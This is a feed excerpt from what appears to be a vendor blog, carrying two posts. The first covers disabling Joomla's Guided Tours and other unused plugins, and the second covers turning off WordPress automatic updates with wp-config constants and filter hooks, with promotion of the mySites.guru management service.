&lt;p&gt;&lt;img alt=&quot;The mySites.guru all-sites tool view showing the Guided Tours plugin status across multiple Joomla sites with toggles to enable or disable&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3724px) 3724px, 100vw&quot; width=&quot;3724&quot; height=&quot;2610&quot; src=&quot;https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_ZAf2sD.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_u1UY9.webp 640w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_2oTk69.webp 750w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_Z1tvMgr.webp 828w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_ZoHlwt.webp 1080w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_ZY8FwL.webp 1280w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_ZFGsSe.webp 1668w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_FLCt3.webp 2048w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_Z1jdRmL.webp 2560w, https://mysites.guru/_astro/joomla-guided-tours-all-sites-tool.CYAGVuX9_ZAf2sD.webp 3724w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why Does Plugin Hygiene Matter on Joomla Sites?&lt;/h2&gt;
&lt;p&gt;The Guided Tours plugin is just one example of a broader principle: &lt;strong&gt;production Joomla sites should only run the plugins they actually need&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Joomla ships with a large number of system plugins enabled by default. Many of them are essential - authentication, session handling, content processing. But others are optional features that may not be relevant to every site.&lt;/p&gt;
&lt;p&gt;A disciplined approach to plugin management means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Auditing what’s enabled&lt;/strong&gt; - know which plugins are active on each site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disabling what’s unused&lt;/strong&gt; - turn off plugins that don’t serve a purpose on that specific site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitoring for drift&lt;/strong&gt; - catch it when plugins get re-enabled unexpectedly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documenting exceptions&lt;/strong&gt; - know why a plugin is enabled when the default recommendation is to disable it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru automates steps 1 through 3. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tools&lt;/a&gt; give you visibility into every extension on every site, and the snapshot checks flag the ones that deviate from best practice. &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;Automatically removing fluff files after Joomla updates&lt;/a&gt; is another way to keep your sites lean.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Want to see how your sites score across all best practice checks, not just Guided Tours? Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on any Joomla site to get a full report covering security, performance, and configuration.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Other Joomla Plugins Should You Review on Production Sites?&lt;/h2&gt;
&lt;p&gt;While you’re looking at the Guided Tours plugin, here are other default Joomla plugins worth reviewing on production sites:&lt;/p&gt;
&lt;h3&gt;System - Debug&lt;/h3&gt;
&lt;p&gt;The debug plugin displays diagnostic information at the bottom of every page, including database queries, memory usage, and loaded language strings. Essential for development, terrible for production. mySites.guru checks this as part of the &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;System - Statistics&lt;/h3&gt;
&lt;p&gt;Sends anonymous usage statistics to the Joomla project. Some site owners prefer to disable this for privacy or performance reasons.&lt;/p&gt;
&lt;h3&gt;Content - Email Cloaking&lt;/h3&gt;
&lt;p&gt;If your site doesn’t display email addresses in content, this plugin runs regex on every page output for no reason. Disable it if you don’t need it.&lt;/p&gt;
&lt;h3&gt;System - Debug Language&lt;/h3&gt;
&lt;p&gt;Shows untranslated language strings. Only useful during development when you’re building or testing translations.&lt;/p&gt;
&lt;h3&gt;Content - Load Modules&lt;/h3&gt;
&lt;p&gt;Allows loading modules within article content using &lt;code&gt;{loadmodule}&lt;/code&gt; syntax. If you don’t use this feature, it’s scanning every article unnecessarily.&lt;/p&gt;
&lt;p&gt;The principle is always the same: if it’s not serving a purpose on this specific site in production, disable it. Every disabled plugin is one fewer thing to load, one fewer thing to update, and one fewer potential attack vector. The same logic applies to features like &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;Send Copy to Submitter&lt;/a&gt; in contact forms - if it’s not needed, it’s just another thing running for no reason.&lt;/p&gt;
&lt;h2&gt;Which Joomla Versions Include Guided Tours?&lt;/h2&gt;
&lt;p&gt;The Guided Tours feature was introduced in Joomla 4.3.0, released in April 2023. Version compatibility breakdown:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Guided Tours status&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 3.x&lt;/td&gt;&lt;td&gt;Not available - no action needed&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4.0 - 4.2&lt;/td&gt;&lt;td&gt;Not available - no action needed&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4.3.0+&lt;/td&gt;&lt;td&gt;Present and enabled by default&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5.x&lt;/td&gt;&lt;td&gt;Present and enabled by default&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 6.x&lt;/td&gt;&lt;td&gt;Present and enabled by default&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;mySites.guru’s check only runs on Joomla 4.3.0 and later since earlier versions don’t have the plugin. If you’re managing a mixed portfolio of Joomla 3, 4, and 5 sites, the check automatically applies only to the sites where it’s relevant.&lt;/p&gt;
&lt;p&gt;If you’re still running &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;Joomla 3 sites&lt;/a&gt;, the Guided Tours plugin isn’t a concern - but you should be thinking about your &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration path to Joomla 4 or 5&lt;/a&gt; or considering the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; for your next upgrade cycle.&lt;/p&gt;
&lt;h2&gt;Performance impact: how much does it actually matter?&lt;/h2&gt;
&lt;p&gt;Let’s be honest about the performance impact. Disabling the Guided Tours plugin on a single site isn’t going to cut your page load time in half. We’re talking about a few kilobytes of JavaScript and CSS, plus a small amount of PHP execution time on each admin page load.&lt;/p&gt;
&lt;p&gt;But performance optimisation on the admin panel is about the aggregate effect of many small improvements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable Guided Tours: saves a few KB of JS/CSS per page load&lt;/li&gt;
&lt;li&gt;Disable Debug plugin: saves significant output rendering&lt;/li&gt;
&lt;li&gt;Disable unused content plugins: saves regex processing on every article render&lt;/li&gt;
&lt;li&gt;Disable unused system plugins: saves PHP execution time on every request&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each one is small. Together, they make a noticeably snappier admin experience, especially on shared hosting where server resources are limited and PHP execution time is precious.&lt;/p&gt;
&lt;p&gt;For agencies managing dozens or hundreds of sites, this adds up further. If you have 100 Joomla sites and each admin session involves 50 page loads, and each page load saves 20ms from disabling unused plugins, that’s 1 second per session, multiplied by however many admin sessions happen per day across all your sites. Not life-changing, but not nothing either.&lt;/p&gt;
&lt;p&gt;The bigger point is discipline: running lean configurations across your portfolio means fewer things to troubleshoot when something goes wrong.&lt;/p&gt;
&lt;h2&gt;Fitting this into your wider Joomla management workflow&lt;/h2&gt;
&lt;p&gt;Disabling the Guided Tours plugin is one small piece. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; that detects it also captures dozens of other configuration checks, so run them regularly to keep your data current.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; cover debug settings, error reporting, SEF URLs, and more - Guided Tours is one item in that audit. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tools&lt;/a&gt; give you a broader view of every extension on every site, not just this one plugin.&lt;/p&gt;
&lt;p&gt;If you need to verify the change in Joomla’s admin panel, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; gets you there without credentials. And just like &lt;a href=&quot;https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/&quot;&gt;dismissing post-installation messages&lt;/a&gt; across hundreds of sites, the Guided Tours toggle works at scale from the dashboard.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you’re already a mySites.guru subscriber, run a snapshot on your Joomla 4.3+ and Joomla 5 sites and check the Extension Information section for the Guided Tours check. If any sites show it as enabled, toggle it off from the dashboard.&lt;/p&gt;
&lt;p&gt;If you’re not yet using mySites.guru, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on any Joomla site to see all the best practice findings, including the Guided Tours plugin status. The audit covers security, configuration, and performance checks - the Guided Tours plugin is just one of many items it reviews.&lt;/p&gt;
&lt;p&gt;For a full overview of what mySites.guru offers for Joomla site management, check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;The Guided Tours plugin has its place during onboarding and training. On production sites where everyone already knows Joomla, it’s just extra JavaScript, CSS, and database queries on every admin page load for no benefit.&lt;/p&gt;
&lt;p&gt;Disabling it on one site takes thirty seconds. Keeping it disabled across a portfolio of sites, catching it when Joomla updates re-enable it, and maintaining consistent configuration across fifty or a hundred sites - that’s where doing it manually falls apart.&lt;/p&gt;
&lt;p&gt;mySites.guru’s snapshot check catches it automatically, flags it, and gives you a one-click toggle. No logging into individual admin panels, no spreadsheet tracking which sites you’ve already fixed.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/help/help-guided-tours&quot;&gt;Guided Tours - Joomla user manual&lt;/a&gt; - official docs on what guided tours do and how they work&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2023/a-builder-s-guide-to-guided-tours&quot;&gt;A builder’s guide to Guided Tours&lt;/a&gt; - Joomla Community Magazine walkthrough on creating custom tours, with CSS selectors and export methods&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5882-joomla-4-3-release.html&quot;&gt;Joomla 4.3.0 release announcement&lt;/a&gt; - the release that introduced Guided Tours&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla security advisories&lt;/a&gt; - official list of disclosed vulnerabilities, useful context for why reducing active plugins matters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html&quot;&gt;OWASP attack surface analysis&lt;/a&gt; - the general security principle behind disabling unused features&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of many Joomla-specific tips in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>plugins</category><category>guided tours</category><category>performance</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-find-disable-guided-tours-plugin-joomla.png" length="0" type="image/png"/></item><item><title>How to Stop Automatic Updates in WordPress with One Click</title><link>https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/</guid><description>Disable WordPress auto-updates with define(&apos;AUTOMATIC_UPDATER_DISABLED&apos;, true); in wp-config.php, or the automatic_updater_disabled filter. Code included.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;To stop WordPress updating itself, add &lt;code&gt;define(&apos;AUTOMATIC_UPDATER_DISABLED&apos;, true);&lt;/code&gt; to &lt;code&gt;wp-config.php&lt;/code&gt;. That one constant switches off every automatic background update: core, plugins, themes and translations. The &lt;code&gt;automatic_updater_disabled&lt;/code&gt; filter does the same from code, and per-type filters let you keep some updates on while blocking others. Below is why turning them off helps prevent update failures on sites you can’t watch, the filters for finer control, and how mySites.guru sets the constant on every site with one click.&lt;/p&gt;
&lt;h2&gt;The Problem With WordPress Automatic Updates&lt;/h2&gt;
&lt;p&gt;WordPress introduced automatic background updates in version 3.7. The idea was sound: keep sites patched without relying on site owners to apply updates by hand. For small personal blogs, it works fine most of the time.&lt;/p&gt;
&lt;p&gt;For anyone managing client sites, running WooCommerce stores, or operating sites where uptime matters, automatic updates are a different problem entirely.&lt;/p&gt;
&lt;p&gt;What can go wrong:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Major version upgrades&lt;/strong&gt; ship with database schema changes, new default behaviors, and deprecated functions. Plugins that worked yesterday might throw errors today.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin and theme updates&lt;/strong&gt; triggered automatically can introduce bugs, change layouts, or conflict with other plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates during peak traffic&lt;/strong&gt; can cause temporary downtime while the update runs, especially on shared hosting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No rollback&lt;/strong&gt; - if an update breaks something at 3am, your site sits broken until someone notices and fixes it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The WordPress ecosystem moves fast. Plugin authors push updates frequently, and not every release is well-tested against every combination of other plugins and themes. Automatic updates mean you’re trusting that every update, from every source, will work perfectly on your specific site configuration.&lt;/p&gt;
&lt;h2&gt;The WordPress AUTOMATIC_UPDATER_DISABLED Constant&lt;/h2&gt;
&lt;p&gt;WordPress controls automatic updates through the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. When set to &lt;code&gt;true&lt;/code&gt;, it disables all automatic background updates (core, plugins, themes, and translations). This is one of several &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug and configuration constants&lt;/a&gt; that control site behaviour.&lt;/p&gt;
&lt;p&gt;To set it manually, you’d SSH into your server, open &lt;code&gt;wp-config.php&lt;/code&gt;, and add:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;AUTOMATIC_UPDATER_DISABLED&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then repeat that for every WordPress site you manage, remember which ones you’ve changed, and make sure no one reverts the change during a WordPress upgrade.&lt;/p&gt;
&lt;p&gt;For a single site, it’s a two-minute task. For 30 sites, it’s a headache. For 200 sites, it’s a full afternoon.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru disable WordPress automatic updates in one click?&lt;/h2&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; reads &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; from wp-config.php on every connected site during each snapshot. If auto-updates are still enabled, the audit flags it.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru WordPress Configuration audit showing AUTOMATIC_UPDATER_DISABLED and other wp-config.php constants with one-click toggles&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2320px) 2320px, 100vw&quot; width=&quot;2320&quot; height=&quot;752&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_Z10LN4r.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_2vnDdw.webp 640w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_Z1k577g.webp 750w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_1zpOvV.webp 828w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_Z24APtY.webp 1080w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_1ej0tj.webp 1280w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_27IrCY.webp 1668w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_1IwFYJ.webp 2048w, https://mysites.guru/_astro/mysites-guru-wordpress-config-audit.CNC6Ux_T_Z10LN4r.webp 2320w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click the fix button, and the connector plugin sets the constant to &lt;code&gt;true&lt;/code&gt; on the remote site. The next snapshot confirms it stuck. If someone (or something) reverts the change later, the audit catches it again.&lt;/p&gt;
&lt;p&gt;You can see the auto-update status of every WordPress site on one screen. No individual admin logins, no spreadsheets. If you’re &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt;, this alone saves hours of repetitive work.&lt;/p&gt;
&lt;h2&gt;Filter Hooks for Granular Update Control&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;wp-config.php&lt;/code&gt; constants are the quickest way to disable auto-updates, but WordPress also provides filter hooks that give you more granular control. You can add these to your theme’s &lt;code&gt;functions.php&lt;/code&gt; or a custom plugin (hat tip to &lt;a href=&quot;https://digwp.com/2026/03/disable-all-automatic-updates/&quot;&gt;Jeff Starr at DigWP&lt;/a&gt; for the thorough rundown):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;automatic_updater_disabled&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__return_true&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;auto_update_core&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__return_false&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;auto_update_plugin&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__return_false&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;auto_update_theme&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__return_false&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;add_filter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;auto_update_translation&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;__return_false&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each filter targets a specific update type, so you can mix and match. For example, you could disable plugin and theme auto-updates while still allowing translation packs to update.&lt;/p&gt;
&lt;p&gt;For even finer core update control, WordPress offers three filters that break core updates into categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allow_dev_auto_core_updates&lt;/code&gt; - development/nightly builds&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_minor_auto_core_updates&lt;/code&gt; - security and maintenance releases (e.g. 6.4.1 to 6.4.2)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_major_auto_core_updates&lt;/code&gt; - major version jumps (e.g. 6.4 to 6.5)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to go further and stop WordPress from even checking for updates (saving HTTP requests on every admin page load), you can remove the check actions entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;remove_action&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;admin_init&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;_maybe_update_core&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;remove_action&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;admin_init&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;_maybe_update_plugins&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;remove_action&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;admin_init&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;_maybe_update_themes&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is more aggressive than the filters above - it prevents WordPress from contacting the update servers at all, so you won’t see available updates in the dashboard until you manually trigger a check. Use this only if you have another system (like mySites.guru) monitoring update availability for you.&lt;/p&gt;
&lt;h2&gt;The Middle Ground: Minor-Only Auto-Updates&lt;/h2&gt;
&lt;p&gt;Disabling all automatic updates is one extreme. The other extreme is leaving everything on auto-pilot. There’s a middle ground that works better for most professional setups.&lt;/p&gt;
&lt;p&gt;WordPress has a separate constant called &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; that lets you allow only minor (security/patch) updates while blocking major version upgrades. We’ve written a &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;detailed guide to enforcing minor-only WordPress updates&lt;/a&gt; that covers the constant, how it interacts with &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;, and how mySites.guru manages both.&lt;/p&gt;
&lt;p&gt;Setting it to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; means WordPress will still auto-apply security patches (like 6.4.1 to 6.4.2) but won’t jump from 6.4 to 6.5 without your involvement. This matters with &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 “Armstrong”&lt;/a&gt; now out (released 20 May 2026), which raises the PHP minimum to 7.4 - you don’t want sites auto-updating to a version their server can’t run. Use our &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 technical requirements checker&lt;/a&gt; to see which sites are ready.&lt;/p&gt;
&lt;p&gt;You can use both constants together for fine-grained control:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Disable the full auto-updater&lt;/strong&gt; to stop WordPress from updating plugins and themes automatically&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable minor-only core updates&lt;/strong&gt; to still receive security patches&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This gives you the safety net of security patches without the risk of untested major upgrades breaking your sites.&lt;/p&gt;
&lt;h2&gt;Managing Updates On Your Terms&lt;/h2&gt;
&lt;p&gt;Disabling automatic updates isn’t the same as ignoring updates. You still need to keep WordPress, plugins, and themes current; you’re just choosing to do it on your terms.&lt;/p&gt;
&lt;p&gt;With mySites.guru, you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See available updates across all connected sites in one place&lt;/li&gt;
&lt;li&gt;Spot which sites are behind on core, plugin, or theme versions&lt;/li&gt;
&lt;li&gt;Apply updates when you’re ready, not when WordPress decides to&lt;/li&gt;
&lt;li&gt;Get &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerts&lt;/a&gt; when a plugin has a known security issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keeping plugins up to date also reduces your attack surface. Outdated plugins are the number one way WordPress sites get compromised, and mySites.guru’s vulnerability scanner cross-references your installed versions against threat databases twice a day. When you’re ready to push updates across your portfolio, the &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress tool&lt;/a&gt; lets you apply them to many sites at once without logging into each one.&lt;/p&gt;
&lt;p&gt;The workflow shifts from “hope nothing breaks overnight” to “review what’s available, test if needed, apply when ready.”&lt;/p&gt;
&lt;h2&gt;How do you prevent unwanted WordPress plugin installs?&lt;/h2&gt;
&lt;p&gt;Controlling updates is half the equation. The other half is making sure no one installs untested plugins on your managed sites in the first place.&lt;/p&gt;
&lt;p&gt;If you give clients wp-admin access, there’s nothing stopping them from installing a random plugin that conflicts with your carefully maintained stack. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;detect and block unauthorized plugin installs&lt;/a&gt; so you stay in control of what runs on each site. You should also &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;remove default content like the Sample Page and Hello World post&lt;/a&gt; that ships with every WordPress install - it’s another cleanup step the configuration audit handles automatically.&lt;/p&gt;
&lt;h2&gt;Who should disable WordPress automatic updates?&lt;/h2&gt;
&lt;p&gt;If you manage WordPress sites for clients or run sites where reliability matters, you need control over when updates happen. Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agencies&lt;/strong&gt; managing client portfolios - a broken client site at 2am is a support ticket and a reputation hit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WooCommerce stores&lt;/strong&gt; - a plugin conflict during checkout means lost revenue&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membership sites&lt;/strong&gt; - downtime means paying members can’t access content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High-traffic sites&lt;/strong&gt; - updates during peak hours cause unnecessary load&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For personal blogs with no revenue impact, automatic updates are probably fine. For everything else, take control. If you’re juggling more than a handful of sites, read our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;how to manage multiple WordPress sites like a pro&lt;/a&gt; for a broader look at the tools and workflows that make this manageable.&lt;/p&gt;
&lt;h2&gt;What about the Joomla equivalent?&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites alongside WordPress, Joomla 5.4+ and 6.0 introduced a similar feature: &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades that apply patches without admin action&lt;/a&gt;. mySites.guru lets you disable those from the same dashboard, so you have consistent update control across both CMS platforms.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
